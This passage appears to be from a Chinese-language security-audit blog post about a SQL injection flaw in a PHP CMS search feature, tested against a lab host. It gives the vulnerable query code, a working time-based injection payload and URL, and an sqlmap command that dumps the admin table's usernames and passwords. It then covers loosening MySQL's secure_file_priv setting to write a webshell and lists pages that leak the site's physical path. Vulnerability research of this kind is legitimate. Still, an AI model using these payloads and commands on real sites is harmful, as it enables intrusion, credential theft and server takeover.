然后就直接带入数据库查询了:
$obj->set_where("goo_title like '%" . $global['key'] . "%'");???不明白为啥这里大意了,明明其他地方过滤都很严格的…
漏洞利用知道代码仅仅经过一次URL解码,所以尝试一下使用%23,解码后就是#来闭合后面的语句:
http://10.211.55.12/?/search/index.html/key-%27%20and%20sleep(2)%20%23/%27and%20sleep(2)%20%23URL解码为:' and sleep(2) # 使用MySQL监控工具查看日志:
select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn' and goo_show = 1 and goo_title like '%' and sleep(2) #%' and goo_channel_id = 1 order by goo_top desc,goo_index desc,goo_id desc成功了,那么接下来使用SQLMap来进注入吧。
sqlmap -u "http://10.211.55.12/?/search/index.html/key-%27*%20%23/" -v 3 --technique=T -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
因为这里key-%27*%20%23 国光我使用*给SQLMap预留好了,然后SQLMap直接注入即可:
理论情况
这部分纯理论测试,实际情况下一般没写入权限,但是还是记录一下吧。如果有大佬可以审计出后台getshell的话 欢迎评论区留言 这样就可以一条龙攻击了~~~
MySQL新版下secure-file-priv字段用来限制MySQL对目录的操作权限。先查看一下本地我们的MySQL是否有作限制
mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | NULL | +------------------+-------+ 2 rows in set (0.00 sec)
secure_file_priv的值为null ,表示限制mysqld 不允许导入导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
为了进行理论上漏洞测试,下面来修改一下MySQL配置文件,修改mysql.ini 文件,在[mysqld] 下加入:
secure_file_priv=重启MySQL服务即可生效:
mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+ 2 rows in set (0.00 sec)写shell需要网站爆物理路径才可以,当代码没有检测异常操作的时候,遇到错误会直接报错泄露物理路径,这个CMS信息泄露的地方有很多,下面随便找几处:
http://localhost/admin/admin.php http://localhost/admin/deal.php http://localhost/admin/info.php http://localhost/include/common.php http://localhost/index/info.php http://localhost/index/user.php ...浏览器直接访问一个试试看: